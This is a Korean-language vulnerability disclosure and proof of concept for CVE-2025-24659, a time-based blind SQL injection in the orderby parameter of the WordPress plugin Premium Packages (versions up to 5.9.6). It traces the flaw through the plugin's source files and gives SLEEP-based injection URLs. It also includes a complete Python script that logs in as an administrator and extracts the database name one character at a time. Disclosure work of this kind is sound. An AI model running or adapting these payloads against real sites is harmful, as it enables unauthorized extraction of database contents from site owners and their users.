
CVE-2025-24659의 PoC
WordPress 플러그인
구성 요소 이름 Premium Packages – Sell Digital Products Securely
취약한 버전 <= 5.9.6
구성 요소 슬러그 wpdm-premium-packages
구성 요소 링크 https://wordpress.org/plugins/wpdm-premium-packages/
취약점 클래스 A3: Injection
취약점 유형 SQL Injection
관리자
Premium Packages - Sell Digital Products Securely 플러그인(이하 Premium Packages 플러그인이라 함)의 5.9.6 이하 버전에서 SQL 인젝션 취약점이 존재합니다. 이는 플러그인 대시보드의 주문 메뉴(/wp-admin/edit.php?post_type=wpdmpro&page=orders)에서 주문 목록을 조회할 때 URL 매개변수 orderby를 충분히 이스케이프하지 않아 발생합니다.
결과적으로 관리자 권한을 가진 공격자는 이 취약점을 악용하여 대상 사이트의 데이터베이스에 저장된 모든 정보에 접근할 수 있습니다.
또한 이 SQL 인젝션 취약점은 응답 데이터에서 직접 데이터를 검색할 수는 없지만, SQL 쿼리의 참/거짓 조건에 따른 응답 시간 차이를 활용하는 시간 기반 블라인드 SQL 인젝션(Time-Based Blind SQL Injection) 기법으로 정보를 추출할 수 있습니다.
Premium Packages 플러그인이 설치 및 활성화된 WordPress 사이트에 관리자로 로그인합니다.
Premium Packages 플러그인은 Download Manager 플러그인(https://wordpress.org/plugins/download-manager/)의 애드온이므로 Download Manager 플러그인도 설치 및 활성화되어 있어야 합니다.
아래 URL에 접근하면 SQL 쿼리 조건(1=1)이 항상 참이 되어 SLEEP(5) 함수로 인해 5초 후에 페이지가 표시됩니다.
http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=1,(SLEEP(5)),0))

1=2)이 항상 거짓이므로 페이지가 즉시 표시됩니다.http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=2,(SLEEP(5)),0))

Premium Packages 플러그인의 주문 목록 대시보드를 요청하면 /wp-content/plugins/wpdm-premium-packages/includes/menus/templates/orders/list-orders.php 파일이 실행됩니다.
이때 URL 매개변수 orderby의 값이 적절한 이스케이프 없이 변수 $orderby에 할당됩니다. 그 후 변수 $orderby는 변수 $qry로 전달되어 SQL 쿼리의 order by 절을 완성합니다.

그런 다음 변수 $qry는 totalOrders 및 GetAllOrders 함수의 인자로 전달됩니다.
이 함수들은 /wp-content/plugins/wpdm-premium-packages/includes/libs/Order.php 파일에 정의되어 있으며, 전달받은 인자 값이 데이터베이스 쿼리에 직접 사용됩니다.

따라서 URL 매개변수 orderby의 값이 이스케이프 없이 데이터베이스 쿼리에 직접 사용되므로 SQL 인젝션 취약점이 발생합니다.

그런 다음 아래 명령어를 입력하여 PoC 코드를 실행합니다.
필요한 모듈requests
python poc.py

import re
import time
import string
import requests
## To set up a proxy, enter the server address below.
PROXY_SERVER = None
proxies = {
"https": PROXY_SERVER,
"http": PROXY_SERVER,
}
SLEEP_TIMER = 1
def __login_get_session(login_id, login_pw):
session = requests.session()
data = {
"log": login_id,
"pwd": login_pw,
"wp-submit": "Log In",
"testcookie": 1
}
resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]:
print(f" |- Successfully logged in with account {login_id}.")
return session
else:
raise Exception(f"[-] Failed to log in.")
def poc_get_db_length(session):
length = 1
while True:
payload = f"1,(IF(LENGTH(DATABASE()) = {length},(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) < SLEEP_TIMER:
print(f" |- Database name length is greater than {length}.")
length += 1
else:
print(f" |- Database name length: {length}")
break
return length
def poc_get_db_name(session, db_length):
db_name = ""
for i in range(1, db_length+1):
for char in string.ascii_letters + string.digits:
payload = f"1,(IF(SUBSTR(DATABASE(),{i},1)=CHAR({ord(char)}),(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) > SLEEP_TIMER:
db_name += char
print(f" |- Database name: {db_name.ljust(db_length, '*')}")
break
print(f" |- Successfully extracted the database name: {db_name}")
def poc():
####
## 1. Log in as administrator
####
print(f"[+] Logging in with administrator account.")
print(f" |- Account: {ADMIN_ID}, Password: {ADMIN_PW}")
admin_session = __login_get_session(ADMIN_ID, ADMIN_PW)
admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies)
###
## 2. Retrieve database name length
###
print(f"[+] Retrieving database name length.")
db_length = poc_get_db_length(admin_session)
###
## 3. Retrieve database name
###
print(f"[+] Retrieving database name.")
poc_get_db_name(admin_session, db_length)
if __name__ == "__main__":
## WordPress Target
TARGET = "http://localhost:8080"
## Administrator ID/PW
ADMIN_ID = "admin"
ADMIN_PW = "admin"
poc()